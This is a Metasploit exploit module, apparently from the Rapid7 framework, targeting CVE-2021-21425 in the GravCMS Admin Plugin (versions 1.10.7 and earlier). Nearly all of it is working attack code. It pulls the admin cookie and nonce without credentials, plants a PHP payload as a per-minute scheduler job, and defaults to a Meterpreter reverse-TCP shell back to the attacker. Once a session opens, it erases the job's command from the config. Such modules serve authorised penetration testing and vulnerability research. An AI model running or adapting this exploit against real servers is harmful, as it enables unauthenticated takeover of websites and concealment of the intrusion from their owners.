GravCMS Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GravCMS Remote Command Execution',
        'Description' => %q{
          This module exploits arbitrary config write/update vulnerability to achieve remote code execution.
          Unauthenticated users can execute a terminal command under the context of the web server user.

          Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.
          In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without
          needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of
          existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,
          such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,
          an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command
          under the context of the web-server user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mehmet Ince <[email protected]>' # author & msf module
        ],
        'References' => [
          ['CVE', '2021-21425'],
          ['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']
        ],
        'Privileged' => true,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'DefaultOptions' => {
          'payload' => 'php/meterpreter/reverse_tcp',
          'Encoder' => 'php/base64',
          'WfsDelay' => 90
        },
        'Targets' => [ ['Automatic', {}] ],
        'DisclosureDate' => '2021-03-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            CONFIG_CHANGES # user/config/scheduler.yaml
          ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path', '/'])
    ])
  end

  def check
    # During the fix, developers changed admin-nonce to login-nonce.

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin')
    )

    if res && res.get_hidden_inputs.first&.fetch('admin-nonce')
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def capture_cookie_token
    print_status 'Sending request to the admin path to generate cookie and token'
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin')
    )

    # Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value
    if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ && res.get_hidden_inputs.first&.fetch('admin-nonce')
      print_good 'Cookie and CSRF token successfully extracted !'
    else
      fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'
    end

    @cookie = res.get_cookies
    @admin_nonce = res.get_hidden_inputs.first['admin-nonce']
  end

  def exploit
    capture_cookie_token

    @task_name = Rex::Text.rand_text_alpha_lower(5)

    # Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's
    # parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the
    # payload with a double quote is necessary to command executed successfully.

    payload.encoded.sub! 'base64_decode(', 'base64_decode("'
    payload.encoded.sub! '));', '"));'

    print_status 'Implanting payload via scheduler feature'

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
      'cookie' => @cookie,
      'vars_post' => {
        'admin-nonce' => @admin_nonce,
        'task' => 'SaveDefault',
        "data[custom_jobs][#{@task_name}][command]" => '/usr/bin/php',
        "data[custom_jobs][#{@task_name}][args]" => "-r #{payload.encoded}",
        "data[custom_jobs][#{@task_name}][at]" => '* * * * *',
        "data[custom_jobs][#{@task_name}][output]" => '',
        "data[status][#{@task_name}]" => 'enabled',
        "data[custom_jobs][#{@task_name}][output_mode]" => 'append'
      }
    )

    if res && res.code == 200 && res.body.include?('Successfully saved')
      print_good "Scheduler successfully created ! Wait up to #{wfs_delay} seconds"
    end
  end

  def on_new_session(_session)
    print_status 'Cleaning up the scheduler...'

    # Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling
    # the scheduler without any parameter:) It will leave the only command name in the config file.

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
      'cookie' => @cookie,
      'vars_post' => {
        'admin-nonce' => @admin_nonce,
        'task' => 'SaveDefault',
        "data[status][#{@task_name}]" => 'enabled'
      }
    )

    if res && res.code == 200 && res.body.include?('Successfully saved')
      print_good 'The scheduler config successfully cleaned up!'
    end
  end

end